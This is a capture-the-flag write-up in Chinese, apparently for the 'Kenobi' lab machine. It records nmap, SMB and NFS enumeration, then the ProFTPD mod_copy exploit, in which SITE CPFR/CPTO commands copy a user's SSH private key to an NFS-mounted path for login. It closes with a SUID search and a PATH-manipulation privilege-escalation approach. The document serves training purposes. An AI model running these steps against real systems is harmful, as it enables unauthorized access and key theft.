1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 ┌──(root㉿kali)-[~] └─# nmap -p- -sC -sV -T4 10.10.189.80 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-07 03:51 EST Nmap scan report for 10.10.189.80 Host is up (0.23s latency). Not shown: 65524 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA) | 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA) |_ 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). | http-robots.txt: 1 disallowed entry |_/admin.html |_http-server-header: Apache/2.4.18 (Ubuntu) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100003 2,3,4 2049/udp nfs | 100003 2,3,4 2049/udp6 nfs | 100005 1,2,3 33247/udp6 mountd | 100005 1,2,3 36061/tcp6 mountd | 100005 1,2,3 44571/tcp mountd | 100005 1,2,3 59780/udp mountd | 100021 1,3,4 34271/tcp6 nlockmgr | 100021 1,3,4 46573/tcp nlockmgr | 100021 1,3,4 49100/udp6 nlockmgr | 100021 1,3,4 57268/udp nlockmgr | 100227 2,3 2049/tcp nfs_acl | 100227 2,3 2049/tcp6 nfs_acl | 100227 2,3 2049/udp nfs_acl |_ 100227 2,3 2049/udp6 nfs_acl 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 2049/tcp open nfs 2-4 (RPC #100003) 42839/tcp open mountd 1-3 (RPC #100005) 44571/tcp open mountd 1-3 (RPC #100005) 46573/tcp open nlockmgr 1-4 (RPC #100021) 52467/tcp open mountd 1-3 (RPC #100005) Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 1h59m58s, deviation: 3h27m50s, median: -1s | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: kenobi | NetBIOS computer name: KENOBI\x00 | Domain name: \x00 | FQDN: kenobi |_ System time: 2024-01-07T02:58:23-06:00 | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date: 2024-01-07T08:58:24 |_ start_date: N/A |_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default)
Enumerating Samba for shares Samba 是适用于 Linux 和 Unix 的标准 Windows 互操作性程序套件。它允许最终用户访问和使用公司内部网或 Internet 上的文件、打印机和其他常用共享资源。它通常被称为网络文件系统。
Samba 基于服务器消息块 (SMB) 的通用客户端/服务器协议。SMB 仅针对 Windows 开发,如果没有 Samba,其他计算机平台将与 Windows 机器隔离,即使它们属于同一网络。
1 2 3 4 5 6 nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.189.80 或者,也可以使用 smbclient 枚举 SMB 共享: smbclient -NL 10.10.189.80 enum4linux -a 10.10.189.80
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 ┌──(root㉿kali)-[~] └─# nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.189.80 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-07 05:20 EST Nmap scan report for 10.10.189.80 Host is up (0.22s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-enum-shares: | account_used: guest | \\10.10.189.80\IPC$: | Type: STYPE_IPC_HIDDEN | Comment: IPC Service (kenobi server (Samba, Ubuntu)) | Users: 1 | Max Users: <unlimited> | Path: C:\tmp | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.10.189.80\anonymous: | Type: STYPE_DISKTREE | Comment: | Users: 0 | Max Users: <unlimited> | Path: C:\home\kenobi\share | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.10.189.80\print$: | Type: STYPE_DISKTREE | Comment: Printer Drivers | Users: 0 | Max Users: <unlimited> | Path: C:\var\lib\samba\printers | Anonymous access: <none> |_ Current user access: <none> Nmap done: 1 IP address (1 host up) scanned in 35.55 seconds
1 smbclient //10.10.189.80/anonymous
1 2 3 4 5 6 7 8 ┌──(root㉿kali)-[~] └─# smbclient //10.10.189.80/anonymous Password for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed Sep 4 06:49:09 2019 .. D 0 Wed Sep 4 06:56:07 2019 log.txt N 12237 Wed Sep 4 06:49:09 2019
或者这种
1 smbget -R smb://10.10.189.80/anonymous
您之前的 nmap 端口扫描将显示运行 rpcbind 服务的端口 111。这只是一个将远程过程调用 (RPC) 程序号转换为通用地址的服务器。当 RPC 服务启动时,它会告诉 rpcbind 它正在侦听的地址以及它准备服务的 RPC 程序编号。
1 nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.189.80
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ┌──(root㉿kali)-[~] └─# nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.189.80 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-07 05:26 EST Nmap scan report for 10.10.189.80 Host is up (0.23s latency). PORT STATE SERVICE 111/tcp open rpcbind | nfs-ls: Volume /var | access: Read Lookup NoModify NoExtend NoDelete NoExecute | PERMISSION UID GID SIZE TIME FILENAME | rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 . | rwxr-xr-x 0 0 4096 2019-09-04T12:27:33 .. | rwxr-xr-x 0 0 4096 2019-09-04T12:09:49 backups | rwxr-xr-x 0 0 4096 2019-09-04T10:37:44 cache | rwxrwxrwx 0 0 4096 2019-09-04T08:43:56 crash | rwxrwsr-x 0 50 4096 2016-04-12T20:14:23 local | rwxrwxrwx 0 0 9 2019-09-04T08:41:33 lock | rwxrwxr-x 0 108 4096 2019-09-04T10:37:44 log | rwxr-xr-x 0 0 4096 2019-01-29T23:27:41 snap | rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 www |_ | nfs-statfs: | Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink |_ /var 9204224.0 1836540.0 6877088.0 22% 16.0T 32000 | nfs-showmount: |_ /var * Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds
Gain initial access with ProFtpd ProFtpd 是一个免费的开源 FTP 服务器,兼容 Unix 和 Windows 系统。在过去的软件版本中,它也容易受到攻击。
让我们获取 ProFtpd 的版本。使用 netcat 通过 FTP 端口连接到计算机。
1 2 3 ┌──(root㉿kali)-[~] └─# nc 10.10.189.80 21 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.189.80]
我们可以使用 searchsploit 来查找特定软件版本的漏洞。
mod_copy模块实现了 SITE CPFR 和 SITE CPTO 命令,可用于将文件/目录从服务器上的一个位置复制到另一个位置。任何未经身份验证的客户端都可以利用这些命令将文件从文件系统的任何部分复制到选定的目标。
我们知道 FTP 服务以 Kenobi 用户身份运行(从共享上的文件),并为该用户生成一个 ssh 密钥。
1 2 3 4 5 6 7 ┌──(root㉿kali)-[~] └─# nc 10.10.189.80 21 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.189.80] SITE CPFR /home/kenobi/.ssh/id_rsa 350 File or directory exists, ready for destination name SITE CPTO /var/tmp/id_rsa 250 Copy successful
我们知道 /var 目录是我们可以看到的挂载。因此,我们现在已将 Kenobi 的私钥移动到 /var/tmp 目录
1 2 3 mkdir /mnt/kenobiNFS mount 10.10.189.80:/var /mnt/kenobiNFS ls -la /mnt/kenobiNFS
现在,我们在部署的机器上安装了网络支架!我们可以转到 /var/tmp 并获取私钥,然后登录 Kenobi 的帐户
1 2 3 cp /mnt/kenobiNFS/tmp/id_rsa . chmod 600 id_rsa ssh -i id_rsa kenobi@10.10.189.80
Privilege Escalation with Path Variable Manipulation SUID 位可能很危险,某些二进制文件(如 passwd)需要以提升的权限运行(因为它会在系统上重置密码),但是其他具有 SUID 位的自定义文件可能会导致各种问题。
要在系统中搜索这些类型的文件,请运行以下命令:
1 find / -perm -u=s -type f 2>/dev/null
Strings 是 Linux 上的一个命令,用于在二进制文件上查找人类可读的字符串。
这向我们表明二进制文件在没有完整路径的情况下运行(例如,不使用 /usr/bin/curl 或 /usr/bin/uname)。
由于此文件以 root 用户权限运行,因此我们可以操作路径获取 root shell。